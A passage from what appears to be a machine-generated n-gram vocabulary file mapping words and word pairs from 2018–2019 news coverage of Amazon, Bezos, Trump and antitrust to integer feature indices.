161385,\n  \"president hotel\": 161386,\n  \"delivery technologies\": 161387,\n  \"vaccination videos\": 161388,\n  \"london england\": 161389,\n  \"looks pretty\": 161390,\n  \"key policy\": 161391,\n  \"son andrej\": 161392,\n  \"rosenberg tx\": 161393,\n  \"introduced lockheed\": 161394,\n  \"lamb\": 161395,\n  \"tennis\": 161396,\n  \"2rqdhqz\": 161397,\n  \"idiq contract\": 161398,\n  \"pecker regularly\": 161399,\n  \"operations told\": 161400,\n  \"posting billions\": 161401,\n  \"hearing senator\": 161402,\n  \"help working\": 161403,\n  \"investigate topics\": 161404,\n  \"210 billion\": 161405,\n  \"increasingly fast\": 161406,\n  \"exponential\": 161407,\n  \"include products\": 161408,\n  \"promote sales\": 161409,\n  \"cringed\": 161410,\n  \"final pitches\": 161411,\n  \"exposure\": 161412,\n  \"makela\": 161413,\n  \"rules fee\": 161414,\n  \"uncontainable\": 161415,\n  \"recurring theme\": 161416,\n  \"episode parting\": 161417,\n  \"moderate attempting\": 161418,\n  \"shoe stores\": 161419,\n  \"amendment dreamer\": 161420,\n  \"patchett\": 161421,\n  \"237\": 161422,\n  \"launch quarter\": 161423,\n  \"positive persona\": 161424,\n  \"female board\": 161425,\n  \"rebuilding posted\": 161426,\n  \"icon lauren\": 161427,\n  \"federal crime\": 161428,\n  \"navinfo ranked\": 161429,\n  \"region wasn\": 161430,\n  \"memorial wikileaks\": 161431,\n  \"etsy declined\": 161432,\n  \"job\": 161433,\n  \"misses opportunity\": 161434,\n  \"delrahim\": 161435,\n  \"westover check\": 161436,\n  \"election impact\": 161437,\n  \"sanders veterans\": 161438,\n  \"financier george\": 161439,\n  \"music perception\": 161440,\n  \"needs utilizing\": 161441,\n  \"competition policy\": 161442,\n  \"carriers dropping\": 161443,\n  \"size cities\": 161444,\n  \"attain political\": 161445,\n  \"irs refunds\": 161446,\n  \"mainstream political\": 161447,\n  \"abuse children\": 161448,\n  \"tara westover\": 161449,\n  \"stylized reconstructed\": 161450,\n  \"carley shimkus\": 161451,\n  \"burnadette\": 161452,\n  \"labarbera\": 161453,\n  \"a380 backlog\": 161454,\n  \"bezos outfitted\": 161455,\n  \"scot\": 161456,\n  \"country yes\": 161457,\n  \"ago hard\": 161458,\n  \"legal woes\": 161459,\n  \"overlapping\": 161460,\n  \"state bakersfield\": 161461,\n  \"individuals mary\": 161462,\n  \"amazon deserves\": 161463,\n  \"infrastructure rebuilding\": 161464,\n  \"struck\": 161465,\n  \"segment parcels\": 161466,\n  \"alex moffat\": 161467,\n  \"discretionary giant\": 161468,\n  \"carolecadwalla\": 161469,\n  \"sent word\": 161470,\n  \"season siddiqui\": 161471,\n  \"aafa specifically\": 161472,\n  \"increased tariffs\": 161473,\n  \"city lawmakers\": 161474,\n  \"quarterly report\": 161475,\n  \"mattingly\": 161476,\n  \"declined ami\": 161477,\n  \"spectrum including\": 161478,\n  \"improvement district\": 161479,\n  \"wildenstein18 jan\": 161480,\n  \"journalistic privileges\": 161481,\n  \"di\": 161482,\n  \"security grounds\": 161483,\n  \"earnings net\": 161484,\n  \"pushed etsy\": 161485,\n  \"trump taunts\": 161486,\n  \"claire atkinson\": 161487,\n  \"employees describing\": 161488,\n  \"icymi reporter\": 161489,\n  \"exit divides\": 161490,\n  \"local dignitaries\": 161491,\n  \"know people\": 161492,\n  \"various trump\": 161493,\n  \"large anti\": 161494,\n  \"suspected sanchez\": 161495,\n  \"picture galleries\": 161496,\n  \"vernon amazon\": 161497,\n  \"media libtards\": 161498,\n  \"neighbors senator\": 161499,\n  \"times takes\": 161500,\n  \"regulators think\": 161501,\n  \"seattle covered\": 161502,\n  \"reported hudson\": 161503,\n  \"uranium miners\": 161504,\n  \"forests illegal\": 161505,\n  \"people greeter\": 161506,\n  \"people care\": 161507,\n  \"kindle devices\": 161508,\n  \"amazon vestager\": 161509,\n  \"seasonal associates\": 161510,\n  \"technology contracts\": 161511,\n  \"540 million\": 161512,\n  \"resettle refugee\": 161513,\n  \"talks calls\": 161514,\n  \"petrillo reports\": 161515,\n  \"pocket knife\": 161516,\n  \"google assistant\": 161517,\n  \"source hk\": 161518,\n  \"fiction share\": 161519,\n  \"accused jeff\": 161520,\n  \"designer\": 161521,\n  \"cloud technologies\": 161522,\n  \"innovations\": 161523,\n  \"postcards\": 161524,\n  \"expressing puzzlement\": 161525,\n  \"adolescence releases\": 161526,\n  \"new breed\": 161527,\n  \"amazon showing\": 161528,\n  \"job clearly\": 161529,\n  \"fresh questions\": 161530,\n  \"novelist holds\": 161531,\n  \"tag included\": 161532,\n  \"threw party\": 161533,\n  \"amazon algorithms\": 161534,\n  \"jared golden\": 161535,\n  \"eaten\": 161536,\n  \"annually estimate\": 161537,\n  \"proposal unveiled\": 161538,\n  \"datecreated videocardcontents\": 161539,\n  \"roseanne barr\": 161540,\n  \"goggin\": 161541,\n  \"badger state\": 161542,\n  \"saying education\": 161543,\n  \"luke perry\": 161544,\n  \"state post\": 161545,\n  \"nature says\": 161546,\n  \"warehouses protests\": 161547,\n  \"post natural\": 161548,\n  \"councilman vallone\": 161549,\n  \"329\": 161550,\n  \"parent open\": 161551,\n  \"peril trump\": 161552,\n  \"unilateral disarmament\": 161553,\n  \"merger citing\": 161554,\n  \"forest cover\": 161555,\n  \"far walmart\": 161556,\n  \"protesters spray\": 161557,\n  \"cut antibiotics\": 161558,\n  \"answers george\": 161559,\n  \"family treachery\": 161560,\n  \"digital travelex\": 161561,\n  \"fatty\": 161562,\n  \"accusing weinstein\": 161563,\n  \"trump repeated\": 161564,\n  \"society economy\": 161565,\n  \"president justin\": 161566,\n  \"relocation insiders\": 161567,\n  \"100 innovative\": 161568,\n  \"mythical\": 161569,\n  \"provocateur nicolas\": 161570,\n  \"joshua killer\": 161571,\n  \"ongoing war\": 161572,\n  \"villa high\": 161573,\n  \"publication bezos\": 161574,\n  \"deregulation\": 161575,\n  \"frei\": 161576,\n  \"recent media\": 161577,\n  \"arrest trump\": 161578,\n  \"trump upends\": 161579,\n  \"post wasreporting\": 161580,\n  \"toso asserted\": 161581,\n  \"cristina uma\\u00f1a\": 161582,\n  \"cbre ranks\": 161583,\n  \"independent senator\": 161584,\n  \"abortions news\": 161585,\n  \"rancor\": 161586,\n  \"lead amazon\": 161587,\n  \"tweeting basis\": 161588,\n  \"intense public\": 161589,\n  \"clout shows\": 161590,\n  \"improves\": 161591,\n  \"shares west\": 161592,\n  \"dimon\": 161593,\n  \"promo code\": 161594,\n  \"tv farewell\": 161595,\n  \"ex soldier\": 161596,\n  \"statement thank\": 161597,\n  \"status\": 161598,\n  \"door policy\": 161599,\n  \"guys watch\": 161600,\n  \"switzerland combined\": 161601,\n  \"nation newspaper\": 161602,\n  \"exonerated\": 161603,\n  \"sharing payments\": 161604,\n  \"144\": 161605,\n  \"tubman\": 161606,\n  \"regulatory cornerstones\": 161607,\n  \"clown jeffbozo\": 161608,\n  \"chubb dispatch\": 161609,\n  \"seeing incentives\": 161610,\n  \"firm occurred\": 161611,\n  \"actually worth\": 161612,\n  \"facing vocal\": 161613,\n  \"huge wine\": 161614,\n  \"retail aafa\": 161615,\n  \"voracious\": 161616,\n  \"anchor named\": 161617,\n  \"news cycles\": 161618,\n  \"open free\": 161619,\n  \"nextshark\": 161620,\n  \"donate\": 161621,\n  \"monsters\": 161622,\n  \"googles\": 161623,\n  \"estimated net\": 161624,\n  \"bloodying actual\": 161625,\n  \"adler amie\": 161626,\n  \"defending freedom\": 161627,\n  \"designated crossings\": 161628,\n  \"disgusting\": 161629,\n  \"chronicle\": 161630,\n  \"long considered\": 161631,\n  \"signify similar\": 161632,\n  \"companies collaboration\": 161633,\n  \"trc0 a0\": 161634,\n  \"scary tales\": 161635,\n  \"corresponding\": 161636,\n  \"large amounts\": 161637,\n  \"group friends\": 161638,\n  \"party candidate\": 161639,\n  \"today tabloids\": 161640,\n  \"special prosecutor\": 161641,\n  \"joining politico\": 161642,\n  \"vegan appeared\": 161643,\n  \"institutional\": 161644,\n  \"humiliating trump\": 161645,\n  \"155 billion\": 161646,\n  \"empowered women\": 161647,\n  \"elsea fine\": 161648,\n  \"iq games\": 161649,\n  \"newsgathering really\": 161650,\n  \"overt indifference\": 161651,\n  \"eps 84c\": 161652,\n  \"threatening democracy\": 161653,\n  \"protect bezos\": 161654,\n  \"fashion business\": 161655,\n  \"deploy payloads\": 161656,\n  \"lore strongly\": 161657,\n  \"usually falls\": 161658,\n  \"pioneer square\": 161659,\n  \"2019 recommended\": 161660,\n  \"lahood\": 161661,\n  \"devices according\": 161662,\n  \"matteo salvini\": 161663,\n  \"sandal\": 161664,\n  \"attendees according\": 161665,\n  \"committee members\": 161666,\n  \"news south\": 161667,\n  \"america attitudes\": 161668,\n  \"trump trying\": 161669,\n  \"facebook according\": 161670,\n  \"reader david\": 161671,\n  \"surrounding caravans\": 161672,\n  \"colonial incursions\": 161673,\n  \"public offer\": 161674,\n  \"west thirtieth\": 161675,\n  \"clout\": 161676,\n  \"cloud steering\": 161677,\n  \"ranging interview\": 161678,\n  \"levy sales\": 161679,\n  \"elstree studios\": 161680,\n  \"operates independently\": 161681,\n  \"york writer\": 161682,\n  \"horton\": 161683,\n  \"incursion\": 161684,\n  \"mile carriers\": 161685,\n  \"platforms instead\": 161686,\n  \"nextplay undefined\": 161687,\n  \"jeffersongraham\": 161688,\n  \"mid summer\": 161689,\n  \"square kilometer\": 161690,\n  \"nailed\": 161691,\n  \"plastic bags\": 161692,\n  \"erica\": 161693,\n  \"georgia woman\": 161694,\n  \"ohio wisconsin\": 161695,\n  \"complicates managerial\": 161696,\n  \"long scheme\": 161697,\n  \"mccain think\": 161698,\n  \"intensely competitive\": 161699,\n  \"epic predicament\": 161700,\n  \"commence criminal\": 161701,\n  \"media columnist\": 161702,\n  \"margin opportunities\": 161703,\n  \"450 884\": 161704,\n  \"successful owners\": 161705,\n  \"secretly\": 161706,\n  \"global union\": 161707,\n  \"monthslong lobbying\": 161708,\n  \"mcgrath compelling\": 161709,\n  \"clobbered\": 161710,\n  \"caused tremendous\": 161711,\n  \"allied\": 161712,\n  \"kept house\": 161713,\n  \"antitrust watchdogs\": 161714,\n  \"sent 435\": 161715,\n  \"accept president\": 161716,\n  \"cast share\": 161717,\n  \"krugman charge\": 161718,\n  \"stuff ergo\": 161719,\n  \"conspicuous\": 161720,\n  \"unlike fedex\": 161721,\n  \"categorized\": 161722,\n  \"bezos similarly\": 161723,\n  \"moved fast\": 161724,\n  \"google antitrust\": 161725,\n  \"ubiquitous alexa\": 161726,\n  \"bmw daimler\": 161727,\n  \"techlash\": 161728,\n  \"horsepower\": 161729,\n  \"party heading\": 161730,\n  \"destination singh\": 161731,\n  \"invoices stating\": 161732,\n  \"delayed safety\": 161733,\n  \"theory saying\": 161734,\n  \"area lanzatech\": 161735,\n  \"griffeth flying\": 161736,\n  \"best board\": 161737,\n  \"contains detailed\": 161738,\n  \"portfolio 623\": 161739,\n  \"amazon actions\": 161740,\n  \"told npr\": 161741,\n  \"fr fortune\": 161742,\n  \"mueller house\": 161743,\n  \"washington google\": 161744,\n  \"ciecko\": 161745,\n  \"matter custody\": 161746,\n  \"business posted\": 161747,\n  \"conspiracy minded\": 161748,\n  \"immaculate\": 161749,\n  \"231\": 161750,\n  \"cia lead\": 161751,\n  \"deriving stand\": 161752,\n  \"trump comment\": 161753,\n  \"fund manager\": 161754,\n  \"taxes billionaire\": 161755,\n  \"owned distribution\": 161756,\n  \"company approach\": 161757,\n  \"potential failure\": 161758,\n  \"000 members\": 161759,\n  \"rogue river\": 161760,\n  \"foto screenshot\": 161761,\n  \"1543527677 mod\": 161762,\n  \"dickerson future\": 161763,\n  \"nightcrawler set\": 161764,\n  \"249 649\": 161765,\n  \"couldn match\": 161766,\n  \"shares national\": 161767,\n  \"ads thebradblog\": 161768,\n  \"killing animals\": 161769,\n  \"louisiana abortion\": 161770,\n  \"president minutes\": 161771,\n  \"trump inaugural\": 161772,\n  \"startup service\": 161773,\n  \"make things\": 161774,\n  \"hat online\": 161775,\n  \"highlights challenge\": 161776,\n  \"traded exact\": 161777,\n  \"sourceassociated\": 161778,\n  \"moz\": 161779,\n  \"series versus\": 161780,\n  \"neighborhood dave\": 161781,\n  \"books amazon\": 161782,\n  \"order ships\": 161783,\n  \"innovation exchange\": 161784,\n  \"supposedly unwritten\": 161785,\n  \"nasdaq yields\": 161786,\n  \"countless individual\": 161787,\n  \"support children\": 161788,\n  \"trump meme\": 161789,\n  \"prosecute immigration\": 161790,\n  \"er poor\": 161791,\n  \"inmates\": 161792,\n  \"advsr invested\": 161793,\n  \"figure memoir\": 161794,\n  \"disclosure sap\": 161795,\n  \"booths\": 161796,\n  \"review ordered\": 161797,\n  \"visit feds\": 161798,\n  \"drop package\": 161799,\n  \"relatively minor\": 161800,\n  \"hits pay\": 161801,\n  \"million products\": 161802,\n  \"foreclose competition\": 161803,\n  \"republicans fail\": 161804,\n  \"airport getting\": 161805,\n  \"ahmad\": 161806,\n  \"168 million\": 161807,\n  \"brian babcock\": 161808,\n  \"exaggerate trump\": 161809,\n  \"laurene steve\": 161810,\n  \"broader concerns\": 161811,\n  \"shaping\": 161812,\n  \"ran bezos\": 161813,\n  \"andrewmccabe breaks\": 161814,\n  \"movetonexttimeout\": 161815,\n  \"report president\": 161816,\n  \"business problems\": 161817,\n  \"pages bezos\": 161818,\n  \"fulfillment workers\": 161819,\n  \"past ideological\": 161820,\n  \"home poverty\": 161821,\n  \"chicago location\": 161822,\n  \"spoke anonymously\": 161823,\n  \"additional overtime\": 161824,\n  \"2012\": 161825,\n  \"terra\": 161826,\n  \"long letter\": 161827,\n  \"late fox\": 161828,\n  \"joined twitter\": 161829,\n  \"stark terms\": 161830,\n  \"impose fine\": 161831,\n  \"newspaper claims\": 161832,\n  \"usual route\": 161833,\n  \"times plate\": 161834,\n  \"socialist equality\": 161835,\n  \"low immigration\": 161836,\n  \"patti\": 161837,\n  \"freeman\": 161838,\n  \"incentives pat\": 161839,\n  \"central theme\": 161840,\n  \"trump hollywood\": 161841,\n  \"troll trump\": 161842,\n  \"sketch finishes\": 161843,\n  \"indicated tax\": 161844,\n  \"fund vet\": 161845,\n  \"tiny electronics\": 161846,\n  \"old cell\": 161847,\n  \"tree canopy\": 161848,\n  \"people attending\": 161849,\n  \"fossil digs\": 161850,\n  \"indiscretions\": 161851,\n  \"adaptability\": 161852,\n  \"disclosing ico\": 161853,\n  \"earth approach\": 161854,\n  \"seen big\": 161855,\n  \"tweeted endorsements\": 161856,\n  \"ongoing ip\": 161857,\n  \"occupy\": 161858,\n  \"drive counterfeits\": 161859,\n  \"order ahead\": 161860,\n  \"status 1014146196342898688\": 161861,\n  \"840 000\": 161862,\n  \"jumps nvidia\": 161863,\n  \"cushman wakefield\": 161864,\n  \"month protesting\": 161865,\n  \"mp matt\": 161866,\n  \"eurovision\": 161867,\n  \"uncomfy stuff\": 161868,\n  \"function initialize\": 161869,\n  \"concluded embedded\": 161870,\n  \"starting\": 161871,\n  \"states entertainment\": 161872,\n  \"snag amazon\": 161873,\n  \"ellison addresses\": 161874,\n  \"big night\": 161875,\n  \"lawmakers briefed\": 161876,\n  \"kyle\": 161877,\n  \"amid conflict\": 161878,\n  \"leaders new\": 161879,\n  \"air dec\": 161880,\n  \"base emanuel\": 161881,\n  \"greenwich\": 161882,\n  \"bezos recognised\": 161883,\n  \"negative portrayals\": 161884,\n  \"story christmas\": 161885,\n  \"wpl1cux1dn\": 161886,\n  \"renounce\": 161887,\n  \"judgments\": 161888,\n  \"spat workers\": 161889,\n  \"company costs\": 161890,\n  \"unsubstantiated rumors\": 161891,\n  \"minaj\": 161892,\n  \"local voices\": 161893,\n  \"penchant\": 161894,\n  \"individualism\": 161895,\n  \"flipping\": 161896,\n  \"noses\": 161897,\n  \"tennessee carjacker\": 161898,\n  \"directors bisbee\": 161899,\n  \"standard hours\": 161900,\n  \"current average\": 161901,\n  \"committee ogr\": 161902,\n  \"headquarters near\": 161903,\n  \"senator kaminsky\": 161904,\n  \"dominic\": 161905,\n  \"community college\": 161906,\n  \"bezos distaste\": 161907,\n  \"israel activist\": 161908,\n  \"bolt ya\": 161909,\n  \"speak freely\": 161910,\n  \"united delivery\": 161911,\n  \"film ydanis\": 161912,\n  \"seek longer\": 161913,\n  \"services visit\": 161914,\n  \"does raise\": 161915,\n  \"takes questions\": 161916,\n  \"architect temporary\": 161917,\n  \"retailers gear\": 161918,\n  \"service deal\": 161919,\n  \"stops running\": 161920,\n  \"council deputy\": 161921,\n  \"companies research\": 161922,\n  \"africa petrol\": 161923,\n  \"extortion decided\": 161924,\n  \"avenue gonna\": 161925,\n  \"suffered convulsions\": 161926,\n  \"written independently\": 161927,\n  \"markgongloff\": 161928,\n  \"189\": 161929,\n  \"public threat\": 161930,\n  \"moscow readiness\": 161931,\n  \"practices began\": 161932,\n  \"vote showed\": 161933,\n  \"revenue according\": 161934,\n  \"need construction\": 161935,\n  \"jobs versus\": 161936,\n  \"giving bezos\": 161937,\n  \"bashing corporations\": 161938,\n  \"walmart creeps\": 161939,\n  \"sam fred\": 161940,\n  \"sector note\": 161941,\n  \"crash amazon\": 161942,\n  \"heavy industries\": 161943,\n  \"importantly amazon\": 161944,\n  \"fortune magazine\": 161945,\n  \"1990s including\": 161946,\n  \"traditional bidding\": 161947,\n  \"reserve amazon\": 161948,\n  \"conway remarks\": 161949,\n  \"column region\": 161950,\n  \"145 words\": 161951,\n  \"hashmi\": 161952,\n  \"foldable smartphone\": 161953,\n  \"story charges\": 161954,\n  \"defensive moat\": 161955,\n  \"semtimetr\": 161956,\n  \"environmental justice\": 161957,\n  \"ecommerce sales\": 161958,\n  \"coldly\": 161959,\n  \"tax exemption\": 161960,\n  \"mean people\": 161961,\n  \"really worry\": 161962,\n  \"donating record\": 161963,\n  \"lowly rated\": 161964,\n  \"certain politicians\": 161965,\n  \"aggressive coverage\": 161966,\n  \"randolph\": 161967,\n  \"republicans ntia\": 161968,\n  \"blip\": 161969,\n  \"years recounted\": 161970,\n  \"cart button\": 161971,\n  \"citing michael\": 161972,\n  \"characters trading\": 161973,\n  \"tech technology\": 161974,\n  \"shoppers doorsteps\": 161975,\n  \"actually openly\": 161976,\n  \"kernersville site\": 161977,\n  \"xml videoleafurl\": 161978,\n  \"company earnings\": 161979,\n  \"geeky seattle\": 161980,\n  \"foodways kcrw\": 161981,\n  \"joined nfbk\": 161982,\n  \"taking tuition\": 161983,\n  \"fortune count\": 161984,\n  \"null commentcount\": 161985,\n  \"costs nearly\": 161986,\n  \"newsprint deforestation\": 161987,\n  \"legal troubles\": 161988,\n  \"metrics\": 161989,\n  \"proposing agribusiness\": 161990,\n  \"office park\": 161991,\n  \"vulnerable families\": 161992,\n  \"event despite\": 161993,\n  \"building searchable\": 161994,\n  \"sure look\": 161995,\n  \"size medium\": 161996,\n  \"becky lynch\": 161997,\n  \"conley amazon\": 161998,\n  \"wikileaks secretly\": 161999,\n  \"packages analysts\": 162000,\n  \"presidents st\": 162001,\n  \"hour lookback\": 162002,\n  \"pentagon disclosed\": 162003,\n  \"launched living\": 162004,\n  \"heaping\": 162005,\n  \"increasingly politicized\": 162006,\n  \"traveling traveler\": 162007,\n  \"carlson piled\": 162008,\n  \"interview karen\": 162009,\n  \"shortly stated\": 162010,\n  \"china updates\": 162011,\n  \"survivor journey\": 162012,\n  \"reddit ama\": 162013,\n  \"unfortunately amazon\": 162014,\n  \"existential threats\": 162015,\n  \"anthony scaramucci\": 162016,\n  \"current trends\": 162017,\n  \"just need\": 162018,\n  \"matthew choi\": 162019,\n  \"norma\": 162020,\n  \"liking\": 162021,\n  \"supply rightly\": 162022,\n  \"exclusive members\": 162023,\n  \"program career\": 162024,\n  \"auto tariffs\": 162025,\n  \"wasn ttrolling\": 162026,\n  \"daily coverage\": 162027,\n  \"ruin brazil\": 162028,\n  \"interview ohio\": 162029,\n  \"nearest\": 162030,\n  \"size drove\": 162031,\n  \"smocking\": 162032,\n  \"alleges\": 162033,\n  \"backed better\": 162034,\n  \"depression speak\": 162035,\n  \"cynthia\": 162036,\n  \"commercial products\": 162037,\n  \"expected divorce\": 162038,\n  \"trump mccabe\": 162039,\n  \"competitor brands\": 162040,\n  \"tones\": 162041,\n  \"rates donald\": 162042,\n  \"union concerning\": 162043,\n  \"inc_feature_image_style\": 162044,\n  \"washington misdeeds\": 162045,\n  \"pf_rd_m atvpdkikx0der\": 162046,\n  \"cinematic career\": 162047,\n  \"shouraboura impinj\": 162048,\n  \"human son\": 162049,\n  \"hairy\": 162050,\n  \"season maybe\": 162051,\n  \"unsaid\": 162052,\n  \"taking billion\": 162053,\n  \"ma owns\": 162054,\n  \"passes spending\": 162055,\n  \"provide companies\": 162056,\n  \"visitors centre\": 162057,\n  \"sells plenty\": 162058,\n  \"sells directly\": 162059,\n  \"ami claims\": 162060,\n  \"bork redefined\": 162061,\n  \"innovative growth\": 162062,\n  \"hey taylor\": 162063,\n  \"charge twitter\": 162064,\n  \"cypress management\": 162065,\n  \"amazon hurts\": 162066,\n  \"korea rocket\": 162067,\n  \"briscobrands clothing\": 162068,\n  \"packages starting\": 162069,\n  \"abridged\": 162070,\n  \"larger amazon\": 162071,\n  \"house bjarke\": 162072,\n  \"sold clipa2\": 162073,\n  \"nominee withdraws\": 162074,\n  \"kavanaugh denies\": 162075,\n  \"published similar\": 162076,\n  \"giant prime\": 162077,\n  \"mortar enterprises\": 162078,\n  \"dupri\": 162079,\n  \"sole male\": 162080,\n  \"sara eisen\": 162081,\n  \"harassment maloney\": 162082,\n  \"millionth imac\": 162083,\n  \"business riding\": 162084,\n  \"distributor labatt\": 162085,\n  \"failures include\": 162086,\n  \"timesrecordnews\": 162087,\n  \"ofthe government\": 162088,\n  \"declared income\": 162089,\n  \"2018 brody\": 162090,\n  \"deceleration coupled\": 162091,\n  \"loud cries\": 162092,\n  \"told reviewers\": 162093,\n  \"tangential\": 162094,\n  \"hannah zeile\": 162095,\n  \"necessarily limited\": 162096,\n  \"sinking\": 162097,\n  \"racial desegregation\": 162098,\n  \"utils exists\": 162099,\n  \"whittier\": 162100,\n  \"month independent\": 162101,\n  \"garrard conley\": 162102,\n  \"nfl quarterback\": 162103,\n  \"mistresses\": 162104,\n  \"fantasies washington\": 162105,\n  \"democratic gubernatorial\": 162106,\n  \"disproportionately harms\": 162107,\n  \"angelina\": 162108,\n  \"greatest publicity\": 162109,\n  \"hard earned\": 162110,\n  \"federal authorities\": 162111,\n  \"eventually expanding\": 162112,\n  \"gop dumpster\": 162113,\n  \"business dealings\": 162114,\n  \"maintains cia\": 162115,\n  \"survival ratesal\": 162116,\n  \"hippie belts\": 162117,\n  \"employee rights\": 162118,\n  \"result budget\": 162119,\n  \"tether\": 162120,\n  \"nasdaq fanh\": 162121,\n  \"worker rights\": 162122,\n  \"assuming strength\": 162123,\n  \"incorrectly identifying\": 162124,\n  \"acknowledgment\": 162125,\n  \"way western\": 162126,\n  \"offers political\": 162127,\n  \"nycha criminal\": 162128,\n  \"specifications\": 162129,\n  \"invented technologies\": 162130,\n  \"cnn nbc\": 162131,\n  \"washing powder\": 162132,\n  \"gotten far\": 162133,\n  \"readmorearticles 228648\": 162134,\n  \"slathering\": 162135,\n  \"selected amazon\": 162136,\n  \"increasingly inhumane\": 162137,\n  \"intimidated journalists\": 162138,\n  \"principal funds\": 162139,\n  \"second reason\": 162140,\n  \"hoffer\": 162141,\n  \"paint\": 162142,\n  \"head jamie\": 162143,\n  \"987\": 162144,\n  \"copies appeared\": 162145,\n  \"heft\": 162146,\n  \"daywear\": 162147,\n  \"parents despite\": 162148,\n  \"rogers nightly\": 162149,\n  \"fans noticed\": 162150,\n  \"long horizon\": 162151,\n  \"big decisionfrom\": 162152,\n  \"success nbc\": 162153,\n  \"airbnb orig\": 162154,\n  \"1981 starting\": 162155,\n  \"connecticut cemetery\": 162156,\n  \"fortieth 767\": 162157,\n  \"broadcasting network\": 162158,\n  \"907 billion\": 162159,\n  \"syrian military\": 162160,\n  \"quentin\": 162161,\n  \"real people\": 162162,\n  \"insists\": 162163,\n  \"dcuxqrscec pic\": 162164,\n  \"risk score\": 162165,\n  \"billion lifted\": 162166,\n  \"islamic relief\": 162167,\n  \"spending reports\": 162168,\n  \"gennady\": 162169,\n  \"aramco\": 162170,\n  \"america 000\": 162171,\n  \"threat posed\": 162172,\n  \"greatest takers\": 162173,\n  \"started today\": 162174,\n  \"accomplishment\": 162175,\n  \"really lobbyist\": 162176,\n  \"nation tax\": 162177,\n  \"burrito\": 162178,\n  \"amazon rainfall\": 162179,\n  \"cities bewildered\": 162180,\n  \"directly impede\": 162181,\n  \"office contradicted\": 162182,\n  \"association doesn\": 162183,\n  \"cloud race\": 162184,\n  \"world football\": 162185,\n  \"500 words\": 162186,\n  \"1970s business\": 162187,\n  \"satisfy trump\": 162188,\n  \"increasingly tense\": 162189,\n  \"mariotti\": 162190,\n  \"insiders figured\": 162191,\n  \"mounts speaking\": 162192,\n  \"takenon\": 162193,\n  \"medieval woman\": 162194,\n  \"tabloid titan\": 162195,\n  \"later jim\": 162196,\n  \"shelter\": 162197,\n  \"express stars\": 162198,\n  \"blight\": 162199,\n  \"recent declines\": 162200,\n  \"display track\": 162201,\n  \"political tensions\": 162202,\n  \"america wh\": 162203,\n  \"twin sister\": 162204,\n  \"firm baird\": 162205,\n  \"financier\": 162206,\n  \"currency collapse\": 162207,\n  \"smaller radius\": 162208,\n  \"spencer soper\": 162209,\n  \"party competition\": 162210,\n  \"heat netflix\": 162211,\n  \"potentially challenging\": 162212,\n  \"wrote analysts\": 162213,\n  \"cameo haunting\": 162214,\n  \"age group\": 162215,\n  \"ii\": 162216,\n  \"born british\": 162217,\n  \"company results\": 162218,\n  \"began having\": 162219,\n  \"pot producer\": 162220,\n  \"bedroom 2018\": 162221,\n  \"times politico\": 162222,\n  \"drinks youtube\": 162223,\n  \"swapping\": 162224,\n  \"profit steel\": 162225,\n  \"example best\": 162226,\n  \"bouncier\": 162227,\n  \"betrayals\": 162228,\n  \"won smaller\": 162229,\n  \"sounds odd\": 162230,\n  \"secretarial flag\": 162231,\n  \"government says\": 162232,\n  \"financially successful\": 162233,\n  \"topped 750\": 162234,\n  \"hit australia\": 162235,\n  \"wailing\": 162236,\n  \"geist\": 162237,\n  \"council voted\": 162238,\n  \"poor modern\": 162239,\n  \"badass mum\": 162240,\n  \"management implode\": 162241,\n  \"primary institution\": 162242,\n  \"construction ocasio\": 162243,\n  \"congested roadways\": 162244,\n  \"media platform\": 162245,\n  \"moneymaking potential\": 162246,\n  \"tax expenses\": 162247,\n  \"related information\": 162248,\n  \"potential 46th\": 162249,\n  \"hosts\": 162250,\n  \"returning winds\": 162251,\n  \"raising antitrust\": 162252,\n  \"tv market\": 162253,\n  \"active duty\": 162254,\n  \"abundant\": 162255,\n  \"bancorporation corporation\": 162256,\n  \"hovering significantly\": 162257,\n  \"lower 2018\": 162258,\n  \"involves playboy\": 162259,\n  \"remain visible\": 162260,\n  \"tech role\": 162261,\n  \"included numerous\": 162262,\n  \"major stock\": 162263,\n  \"examine\": 162264,\n  \"ventures jay\": 162265,\n  \"multiple felonies\": 162266,\n  \"increasingly threatened\": 162267,\n  \"drinking water\": 162268,\n  \"convention according\": 162269,\n  \"vividly described\": 162270,\n  \"novelizes\": 162271,\n  \"__________ jump\": 162272,\n  \"mentioned twitter\": 162273,\n  \"fed leaves\": 162274,\n  \"improving new\": 162275,\n  \"tiff\": 162276,\n  \"growth antitrust\": 162277,\n  \"site 2020\": 162278,\n  \"headquarters new\": 162279,\n  \"dating edition\": 162280,\n  \"amazon sounded\": 162281,\n  \"51m op\": 162282,\n  \"rate currently\": 162283,\n  \"subprime personal\": 162284,\n  \"effectively delivering\": 162285,\n  \"convenient locations\": 162286,\n  \"charges shippers\": 162287,\n  \"marquette\": 162288,\n  \"potential windfall\": 162289,\n  \"campaign including\": 162290,\n  \"mailchimp\": 162291,\n  \"cordial\": 162292,\n  \"enquirer ag\": 162293,\n  \"2019 bloomberg\": 162294,\n  \"customers\": 162295,\n  \"censoring\": 162296,\n  \"tissue according\": 162297,\n  \"share congress\": 162298,\n  \"considered amazon\": 162299,\n  \"communist\": 162300,\n  \"arizona muse\": 162301,\n  \"developing taste\": 162302,\n  \"strong profit\": 162303,\n  \"online\": 162304,\n  \"amt\": 162305,\n  \"family sajni\": 162306,\n  \"care groceries\": 162307,\n  \"york sent\": 162308,\n  \"sadness\": 162309,\n  \"threats just\": 162310,\n  \"invited trump\": 162311,\n  \"cap index\": 162312,\n  \"solving crime\": 162313,\n  \"fries\": 162314,\n  \"kundu brahminical\": 162315,\n  \"rbc renewed\": 162316,\n  \"mass disengagement\": 162317,\n  \"crossing lines\": 162318,\n  \"000 highpaying\": 162319,\n  \"worldcup final\": 162320,\n  \"opiod\": 162321,\n  \"triple crown\": 162322,\n  \"governments spend\": 162323,\n  \"firm policy\": 162324,\n  \"investments numerous\": 162325,\n  \"leaders don\": 162326,\n  \"border border\": 162327,\n  \"long futile\": 162328,\n  \"journal maria\": 162329,\n  \"worst toys\": 162330,\n  \"markets 2018\": 162331,\n  \"cabinet focus\": 162332,\n  \"video reels\": 162333,\n  \"day nyt\": 162334,\n  \"surprising thing\": 162335,\n  \"aaron steckelberg\": 162336,\n  \"registry program\": 162337,\n  \"unexpected defensive\": 162338,\n  \"today given\": 162339,\n  \"dinner event\": 162340,\n  \"deadbeat dad\": 162341,\n  \"new ferry\": 162342,\n  \"licenses occurred\": 162343,\n  \"rival immediately\": 162344,\n  \"reports\": 162345,\n  \"o6 addeventlistener\": 162346,\n  \"wasted desk\": 162347,\n  \"vuitton\": 162348,\n  \"domenech took\": 162349,\n  \"multinational companies\": 162350,\n  